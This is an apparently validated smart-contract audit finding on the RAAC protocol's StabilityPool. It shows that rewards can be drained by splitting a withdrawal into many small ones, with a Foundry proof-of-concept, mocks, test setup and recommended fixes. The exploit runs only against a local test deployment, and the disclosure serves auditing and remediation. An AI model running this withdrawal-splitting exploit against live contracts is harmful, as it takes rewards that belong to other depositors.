Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

User can get more RAACToken rewards than intended through withdrawing small amounts in StabilityPool

Summary

A critical vulnerability in the StabilityPool contract allows users to manipulate their RAAC token rewards by fragmenting their withdrawals into multiple smaller transactions instead of withdrawing their full balance at once. This vulnerability results from improper handling of reward calculations during the withdrawal process, allowing users to claim significantly more rewards than intended.

Vulnerability Details

The vulnerability exists in the interaction between the withdraw and calculateRaacRewards functions in the StabilityPool contract:

function withdraw(uint256 deCRVUSDAmount) external nonReentrant whenNotPaused {
_update();
// ... validation checks ...
uint256 raacRewards = calculateRaacRewards(msg.sender);
userDeposits[msg.sender] -= rcrvUSDAmount;
// ... transfer tokens ...
}
function calculateRaacRewards(address user) public view returns (uint256) {
uint256 userDeposit = userDeposits[user];
uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
return (totalRewards * userDeposit) / totalDeposits;
}

The core issue is that the reward calculation is based on the user's current deposit amount before the withdrawal. It doesn't track previously claimed rewards. Allows users to claim rewards multiple times on the same deposit amount

This can be exploited by breaking up a large withdrawal into multiple smaller withdrawals. Then claiming rewards on each withdrawal based on the full remaining deposit. This is repeated until the full amount is withdrawn.

Consider the following scenario:

  1. Initial state:

    • Total deposits in pool: 100,000 tokens

    • User's deposit: 10,000 tokens (10% of pool)

    • Available RAAC rewards: 1,000 RAAC tokens

    • User's theoretical fair share: 100 RAAC tokens (10% of rewards)

  2. Scenario A - Single Withdrawal:

    • User withdraws all 10,000 tokens at once

    • Rewards calculation: (1,000 * 10,000) / 100,000 = 100 RAAC tokens

    • User receives: 100 RAAC tokens

  3. Scenario B - Multiple Withdrawals:

  • First withdrawal (5,000 tokens):

    • Pre-withdrawal deposit: 10,000 tokens

    • Reward calculation: (1,000 * 10,000) / 100,000 = 100 RAAC tokens

    • User receives: 100 RAAC tokens

  • Second withdrawal (5,000 tokens):

    • Pre-withdrawal deposit: 5,000 tokens

    • Reward calculation: (900 * 5,000) / 95,000 = ~47 RAAC tokens

    • User receives: Additional 47 RAAC tokens

  • Total received: 147 RAAC tokens

  1. Exploitation Result:

    • Single withdrawal: 100 RAAC tokens

    • Multiple withdrawals: 147 RAAC tokens

    • Extra rewards extracted: 47 RAAC tokens (47% more than intended)

The StabilityPool::withdraw function can be called with very little/dust amounts, numerous times, causing the malicious user to get even more rewards.

Impact

  1. Unfair advantage for users who exploit vs honest users

  2. Undermines the protocol's reward distribution mechanism

PoC

To set up the test environment:

  1. Run foundryup

  2. Run foundry init

  3. Run forge install OpenZeppelin/openzeppelin-contracts --no-git and forge install https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable --no-git

  4. Paste this in foundry.toml - remappings = ["@openzeppelin/contracts=lib/openzeppelin-contracts/contracts", "@openzeppelin/contracts-upgradeable=lib/openzeppelin-contracts-upgradeable/contracts"]

  5. Then create a folder in src called RAACProtocol.

  6. In the RAACProtocol create two folders called: interfaces, libraries and tokens

  7. Into the interfaces paste the following contracts:

Interfaces:
ICurveCrvUSDVault.sol,
IDebtToken.sol,
IDEToken.sol,
ILendingPool.sol,
IRAACHousePrices.sol,
IRAACMinter.sol,
IRAACNFT.sol,
IRAACToken.sol,
IRToken.sol,
IStabilityPool.sol

  1. Into the libraries paste the following contracts:

Libraries:
PercentageMath.sol,
ReserveLibrary.sol,
WadRayMath.sol

  1. Into the tokens paste the following contracts:

Tokens:
DebtToken.sol,
DEToken.sol,
RAACNFT.sol,
RAACToken.sol,
RToken.sol

  1. Create files in the test folder for the mocks and paste them.

  • OracleMock.sol for the oracle mock

  • CrvUSDMock.sol for the crvUSD mock

  1. Create file in the test folder called RAACProtocolTest.t.sol.

  2. Paste the test setup.

  3. Paste the test and the helper functions inside the StabilityAndLendingPoolTest contract.

  4. OracleMock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
contract RAACHousePrices {
function tokenToHousePrice(uint256 tokenId) public pure returns (uint256 price) {
price = 300_000 ether;
}
function getLatestPrice(uint256 tokenId) public returns (uint256 price, uint256 lastUpdateTimestamp) {
price = 300_000 ether;
lastUpdateTimestamp = block.timestamp;
}
}
  1. CrvUSD Mock

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/**
* @title crvUSD Stablecoin
* @author Curve.Fi (Vyper implementation) - Converted to Solidity
* @notice Implementation of the crvUSD stablecoin contract
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC1271 {
function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4);
}
contract CrvUSDMock is IERC20 {
uint8 public constant decimals = 18;
string public constant version = "v1.0.0";
bytes4 private constant ERC1271_MAGIC_VAL = 0x1626ba7e;
bytes32 private constant EIP712_TYPEHASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)");
bytes32 private constant EIP2612_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 private immutable VERSION_HASH;
bytes32 private immutable NAME_HASH;
uint256 private immutable CACHED_CHAIN_ID;
bytes32 private immutable CACHED_DOMAIN_SEPARATOR;
bytes32 public immutable salt;
string public name;
string public symbol;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint256) public balanceOf;
uint256 public totalSupply;
mapping(address => uint256) public nonces;
event SetMinter(address indexed minter);
constructor(string memory _name, string memory _symbol) {
name = _name;
symbol = _symbol;
NAME_HASH = keccak256(bytes(_name));
VERSION_HASH = keccak256(bytes(version));
CACHED_CHAIN_ID = block.chainid;
salt = blockhash(block.number - 1);
CACHED_DOMAIN_SEPARATOR =
keccak256(abi.encode(EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, block.chainid, address(this), salt));
emit SetMinter(msg.sender);
}
function _approve(address owner, address spender, uint256 value) internal {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burn(address from, uint256 value) internal {
balanceOf[from] -= value;
totalSupply -= value;
emit Transfer(from, address(0), value);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(this) && to != address(0), "Invalid recipient");
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer(from, to, value);
}
function _domainSeparator() internal view returns (bytes32) {
if (block.chainid != CACHED_CHAIN_ID) {
return keccak256(abi.encode(EIP712_TYPEHASH, NAME_HASH, VERSION_HASH, block.chainid, address(this), salt));
}
return CACHED_DOMAIN_SEPARATOR;
}
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
uint256 currentAllowance = allowance[from][msg.sender];
if (currentAllowance != type(uint256).max) {
_approve(from, msg.sender, currentAllowance - value);
}
_transfer(from, to, value);
return true;
}
function transfer(address to, uint256 value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s)
external
returns (bool)
{
require(owner != address(0) && block.timestamp <= deadline, "Invalid permit");
uint256 nonce = nonces[owner];
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
_domainSeparator(),
keccak256(abi.encode(EIP2612_TYPEHASH, owner, spender, value, nonce, deadline))
)
);
if (Address.isContract(owner)) {
bytes memory signature = abi.encodePacked(r, s, v);
require(IERC1271(owner).isValidSignature(digest, signature) == ERC1271_MAGIC_VAL, "Invalid signature");
} else {
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress == owner, "Invalid signature");
}
nonces[owner] = nonce + 1;
_approve(owner, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
uint256 currentAllowance = allowance[msg.sender][spender];
uint256 newAllowance = currentAllowance + addedValue;
// Check for overflow
if (newAllowance < currentAllowance) {
newAllowance = type(uint256).max;
}
if (newAllowance != currentAllowance) {
_approve(msg.sender, spender, newAllowance);
}
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
uint256 currentAllowance = allowance[msg.sender][spender];
uint256 newAllowance;
if (subtractedValue >= currentAllowance) {
newAllowance = 0;
} else {
newAllowance = currentAllowance - subtractedValue;
}
if (newAllowance != currentAllowance) {
_approve(msg.sender, spender, newAllowance);
}
return true;
}
function burnFrom(address from, uint256 value) external returns (bool) {
uint256 currentAllowance = allowance[from][msg.sender];
if (currentAllowance != type(uint256).max) {
_approve(from, msg.sender, currentAllowance - value);
}
_burn(from, value);
return true;
}
function burn(uint256 value) external returns (bool) {
_burn(msg.sender, value);
return true;
}
function mint(address to, uint256 value) external returns (bool) {
require(to != address(this) && to != address(0), "Invalid recipient");
balanceOf[to] += value;
totalSupply += value;
emit Transfer(address(0), to, value);
return true;
}
function DOMAIN_SEPARATOR() external view returns (bytes32) {
return _domainSeparator();
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
}
  1. Foundry Test SetUp

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {StabilityPool} from "../src/RAACProtocol/StabilityPool.sol";
import {LendingPool} from "../src/RAACProtocol/LendingPool.sol";
import {RToken} from "../src/RAACProtocol/tokens/RToken.sol";
import {DebtToken} from "../src/RAACProtocol/tokens/DebtToken.sol";
import {DEToken} from "../src/RAACProtocol/tokens/DEToken.sol";
import {CrvUSDMock} from "./CrvUSDMock.sol";
import {RAACNFT} from "../src/RAACProtocol/tokens/RAACNFT.sol";
import {RAACToken} from "../src/RAACProtocol/tokens/RAACToken.sol";
import {RAACMinter} from "../src/RAACProtocol/RAACMinter.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {RAACHousePrices} from "./OracleMock.sol";
import {WadRayMath} from "../src/RAACProtocol/libraries/WadRayMath.sol";
contract StabilityAndLendingPoolTest is Test {
LendingPool public lendingPool;
StabilityPool public stabilityPool;
RToken public rToken;
DebtToken public debtToken;
DEToken public deToken;
CrvUSDMock public crvUSD;
RAACHousePrices public raacHousePrices;
RAACNFT public raacNFT;
RAACToken public raacToken;
RAACMinter public raacMinter;
address deployer = makeAddr("deployer");
address bigFish = makeAddr("bigFish");
address userOne = makeAddr("userOne");
address userTwo = makeAddr("userTwo");
address userThree = makeAddr("userThree");
address userFour = makeAddr("userFour");
function setUp() public {
vm.warp(10 days);
vm.roll(140000);
uint256 initialPrimeRate = 1 * 1e26;
uint256 initialTax = 500;
vm.startPrank(deployer);
// Deploy base contracts
crvUSD = new CrvUSDMock("CrvUSD Token", "CrvUSD");
rToken = new RToken("RToken", "R", deployer, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", deployer);
deToken = new DEToken("DEToken", "DE", deployer, address(rToken));
raacHousePrices = new RAACHousePrices();
raacNFT = new RAACNFT(address(crvUSD), address(raacHousePrices), deployer);
raacToken = new RAACToken(deployer, initialTax, initialTax);
// Deploy LendingPool
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
// Deploy StabilityPool implementation
StabilityPool stabilityPoolImplementation = new StabilityPool(deployer);
// Initialize StabilityPool with temporary minter
bytes memory initData = abi.encodeWithSelector(
StabilityPool.initialize.selector,
address(rToken),
address(deToken),
address(raacToken),
address(makeAddr("RAACMinter")),
address(crvUSD),
address(lendingPool)
);
// Deploy proxy with implementation
ERC1967Proxy proxy = new ERC1967Proxy(address(stabilityPoolImplementation), initData);
stabilityPool = StabilityPool(address(proxy));
// Deploy RAACMinter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), deployer);
// Set up relationships between contracts
rToken.setReservePool(address(lendingPool));
debtToken.setReservePool(address(lendingPool));
deToken.setStabilityPool(address(stabilityPool));
lendingPool.setStabilityPool(address(stabilityPool));
stabilityPool.setRAACMinter(address(raacMinter));
raacToken.setMinter(address(raacMinter));
// Whitelist key addresses to bypass RAAC token tax
raacToken.manageWhitelist(address(stabilityPool), true);
raacToken.manageWhitelist(address(raacMinter), true);
vm.stopPrank();
}
}
  1. PoC

function testBugWithSmallWithdrawalsInsteadOfBigOneGetsMoreRewards() public {
// Deposit Into The Lending Pool
uint256 userOneDepositAmount = 5_000 ether;
userDepositIntoLendingPool(userOne, userOneDepositAmount);
uint256 userTwoDepositAmount = 2_000 ether;
userDepositIntoLendingPool(userTwo, userTwoDepositAmount);
uint256 userThreeDepositAmount = 10_000 ether;
userDepositIntoLendingPool(userThree, userThreeDepositAmount);
// Deposit Into The StabilityPool Pool
uint256 userOneDepositAmountSP = rToken.balanceOf(userOne);
userDepositIntoStabilityPool(userOne, userOneDepositAmountSP);
uint256 userTwoDepositAmountSP = rToken.balanceOf(userTwo);
userDepositIntoStabilityPool(userTwo, userTwoDepositAmountSP);
uint256 userThreeDepositAmountSP = rToken.balanceOf(userThree);
userDepositIntoStabilityPool(userThree, userThreeDepositAmountSP);
// 50 days pass
vm.warp(block.timestamp + 50 days);
vm.roll(block.number + 50 * 12000);
// Saving snapshot to see how multiple small withdrawals differ from one big one in terms of rewards
uint256 firstSnapshot = vm.snapshot();
// Withdrawing users' balance in 50 small withdrawals
for (uint256 i = 0; i < 50; i++) {
uint256 withdrawalAmount = deToken.balanceOf(userOne) / 50;
vm.startPrank(userOne);
deToken.approve(address(stabilityPool), withdrawalAmount);
stabilityPool.withdraw(withdrawalAmount);
vm.stopPrank();
}
// The final amount of RAAC reward tokens after 50 small withdrawals
uint256 multipleSmallWithdrawalsRAACTokenRewards = raacToken.balanceOf(userOne);
// Reverting the state to see how many rewards the user will get with one big withdraw
vm.revertTo(firstSnapshot);
// Withdrawing the whole balance in one go
vm.startPrank(userOne);
uint256 withdrawalAmountTwo = deToken.balanceOf(userOne);
deToken.approve(address(stabilityPool), withdrawalAmountTwo);
stabilityPool.withdraw(withdrawalAmountTwo);
vm.stopPrank();
// The final amount of RAAC reward tokens after one big withdrawal
uint256 oneBigWithdrawalRAACTokenRewards = raacToken.balanceOf(userOne);
// Logging both to see the balances to see the differences
// Spoiler: Multiple: ~83_332 tokens, One Big: ~24_509
console.log("Multiple Small Withdrawals RAACToken Rewards: ", multipleSmallWithdrawalsRAACTokenRewards);
console.log("One Big Withdrawal RAACToken Rewards: ", oneBigWithdrawalRAACTokenRewards);
// Asserting that the multiple withdrawals get bigger reward than one big withdrawal
assert(multipleSmallWithdrawalsRAACTokenRewards > oneBigWithdrawalRAACTokenRewards);
}
  1. Helper functions

function userDepositIntoLendingPool(address user, uint256 amount) public {
vm.startPrank(user);
crvUSD.mint(user, amount);
crvUSD.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
vm.stopPrank();
}
function userDepositIntoStabilityPool(address user, uint256 amount) public {
vm.startPrank(user);
rToken.approve(address(stabilityPool), amount);
stabilityPool.deposit(amount);
vm.stopPrank();
}

Tools Used

Manual Review

Recommendations

  • Implement a standard reward distribution mechanism that tracks accumulated rewards per share

  • Add reward checkpoints to track user's claimed rewards

  • Consider adopting patterns from tested protocols like Compound or Aave

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::withdraw can be called with partial amounts, but it always send the full rewards

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!